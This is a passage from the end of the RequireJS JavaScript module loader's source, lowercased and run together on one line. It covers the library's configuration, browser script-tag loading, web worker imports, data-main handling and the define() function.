(!isarray(deps) && typeof deps !== 'string') { // deps is a config object config = deps; if (isarray(callback)) { // adjust args if there are dependencies deps = callback; callback = errback; errback = optional; } else { deps = []; } } if (config && config.context) { contextname = config.context; } context = contexts[contextname]; if (!context) { context = contexts[contextname] = req.s.newcontext(contextname); } if (config) { context.configure(config); } return context.require(deps, callback, errback); }; /** * support require.config() to make it easier to cooperate with other amd * loaders on globally agreed names. */ req.config = function(config) { return req(config); }; /** * export require as a global, but only if it does not already exist. */ if (!require) { require = req; } req.version = version; // used to filter out dependencies that are already paths. req.jsextregexp = /^\/|:|\?|\.js$/; req.isbrowser = isbrowser; s = req.s = { contexts : contexts, newcontext : newcontext }; // create default context. req({}); // exports some context-sensitive methods on global require, using // default context if no context specified. addrequiremethods(req, contexts[defcontextname]); if (isbrowser) { head = s.head = document.getelementsbytagname('head')[0]; // if base tag is in play, using appendchild is a problem for ie6. // when that browser dies, this can be removed. details in this jquery // bug: // http://dev.jquery.com/ticket/2709 baseelement = document.getelementsbytagname('base')[0]; if (baseelement) { head = s.head = baseelement.parentnode; } } /** * any errors that require explicitly generates will be passed to this * function. intercept/override it if you want custom error handling. * * @param {error} * err the error object. */ req.onerror = function(err) { throw err; }; /** * does the request to load a module for the browser case. make this a * separate function to allow other environments to override it. * * @param {object} * context the require context to find state. * @param {string} * modulename the name of the module. * @param {object} * url the url to the module. */ req.load = function(context, modulename, url) { var config = (context && context.config) || {}, node; if (isbrowser) { // in the browser so use a script tag node = config.xhtml ? document.createelementns('http://www.w3.org/1999/xhtml', 'html:script') : document.createelement('script'); node.type = config.scripttype || 'text/javascript'; node.charset = 'utf-8'; node.setattribute('data-requirecontext', context.contextname); node.setattribute('data-requiremodule', modulename); // set up load listener. test attachevent first because ie9 has // a subtle issue in its addeventlistener and script onload firings // that do not match the behavior of all other browsers with // addeventlistener support, which fire the onload event for a // script right after the script execution. see: // https://connect.microsoft.com/ie/feedback/details/648057/script-onload-event-is-not-fired-immediately-after-script-execution // unfortunately opera implements attachevent but does not follow // the script // script execution mode. if (node.attachevent && // check if node.attachevent is artificially added by custom script // or // natively supported by browser // read https://github.com/jrburke/requirejs/issues/187 // if we can not find [native code] then it must not natively // supported. // in ie8, node.attachevent does not have tostring() // note the test for "[native code" with no closing brace, see: // https://github.com/jrburke/requirejs/issues/273 !(node.attachevent.tostring && node.attachevent.tostring().indexof('[native code') < 0) && !isopera) { // probably ie. ie (at least 6-8) do not fire // script onload right after executing the script, so // we cannot tie the anonymous define call to a name. // however, ie reports the script as being in 'interactive' // readystate at the time of the define call. useinteractive = true; node.attachevent('onreadystatechange', context.onscriptload); // it would be great to add an error handler here to catch // 404s in ie9+. however, onreadystatechange will fire before // the error handler, so that does not help. if addevenlistener // is used, then ie will fire error before load, but we cannot // use that pathway given the connect.microsoft.com issue // mentioned above about not doing the 'script execute, // then fire the script load event listener before execute // next script' that other browsers do. // best hope: ie10 fixes the issues, // and then destroys all installs of ie 6-9. // node.attachevent('onerror', context.onscripterror); } else { node.addeventlistener('load', context.onscriptload, false); node.addeventlistener('error', context.onscripterror, false); } node.src = url; // for some cache cases in ie 6-8, the script executes before the // end // of the appendchild execution, so to tie an anonymous define // call to the module name (which is stored on the node), hold on // to a reference to this node, but clear after the dom insertion. currentlyaddingscript = node; if (baseelement) { head.insertbefore(node, baseelement); } else { head.appendchild(node); } currentlyaddingscript = null; return node; } else if (iswebworker) { // in a web worker, use importscripts. this is not a very // efficient use of importscripts, importscripts will block until // its script is downloaded and evaluated. however, if web workers // are in play, the expectation that a build has been done so that // only one script needs to be loaded anyway. this may need to be // reevaluated if other use cases become common. importscripts(url); // account for anonymous modules context.completeload(modulename); } }; function getinteractivescript() { if (interactivescript && interactivescript.readystate === 'interactive') { return interactivescript; } eachreverse(scripts(), function(script) { if (script.readystate === 'interactive') { return (interactivescript = script); } }); return interactivescript; } // look for a data-main script attribute, which could also adjust the // baseurl. if (isbrowser) { // figure out baseurl. get it from the script tag with require.js in it. eachreverse(scripts(), function(script) { // set the 'head' where we can append children by // using the script's parent. if (!head) { head = script.parentnode; } // look for a data-main attribute to set main script for the page // to load. if it is there, the path to data main becomes the // baseurl, if it is not already set. datamain = script.getattribute('data-main'); if (datamain) { if (!cfg.baseurl) { // pull off the directory of data-main for use as the // baseurl. src = datamain.split('/'); mainscript = src.pop(); subpath = src.length ? src.join('/') + '/' : './'; // set final config. cfg.baseurl = subpath; // strip off any trailing .js since datamain is now // like a module name. datamain = mainscript.replace(jssuffixregexp, ''); } // put the data-main script in the files to load. cfg.deps = cfg.deps ? cfg.deps.concat(datamain) : [ datamain ]; return true; } }); } /** * the function that handles definitions of modules. differs from require() * in that a string for the module should be the first argument, and the * function to execute after dependencies are loaded should return a value * to define the module corresponding to the first argument's name. */ define = function(name, deps, callback) { var node, context; // allow for anonymous functions if (typeof name !== 'string') { // adjust args appropriately callback = deps; deps = name; name = null; } // this module may not have dependencies if (!isarray(deps)) { callback = deps; deps = []; } // if no name, and callback is a function, then figure out if it a // commonjs thing with dependencies. if (!deps.length && isfunction(callback)) { // remove comments from the callback string, // look for require calls, and pull them into the dependencies, // but only if there are function args. if (callback.length) { callback.tostring().replace(commentregexp, '').replace(cjsrequireregexp, function(match, dep) { deps.push(dep); }); // may be a commonjs thing even without require calls, but still // could use exports, and module. avoid doing exports and module // work though if it just needs require. // requires the function to expect the commonjs variables in the // order listed below. deps = (callback.length === 1 ? [ 'require' ] : [ 'require', 'exports', 'module' ]).concat(deps); } } // if in ie 6-8 and hit an anonymous define() call, do the interactive // work. if (useinteractive) { node = currentlyaddingscript || getinteractivescript(); if (node) { if (!name) { name = node.getattribute('data-requiremodule'); } context = contexts[node.getattribute('data-requirecontext')]; } } // always save off evaluating the def call until the script onload // handler. // this allows multiple modules to be in a file without prematurely // tracing dependencies, and allows for anonymous module support, // where the module name is not known until the script onload event // occurs. if no context, use the global queue, and get it processed // in the onscript load callback. (context ? context.defqueue : globaldefqueue).push([ name, deps, callback ]); }; define.amd = { jquery : true }; /** * executes the text. normally just uses eval, but can be modified to use a * better, environment-specific call. only used for transpiling loader * plugins, not for plain js modules. * * @param {string} * text the text to execute/evaluate. */ req.exec = function(text) { /* jslint evil: true */ return eval(text); }; // set up with config info. req(cfg); }(this));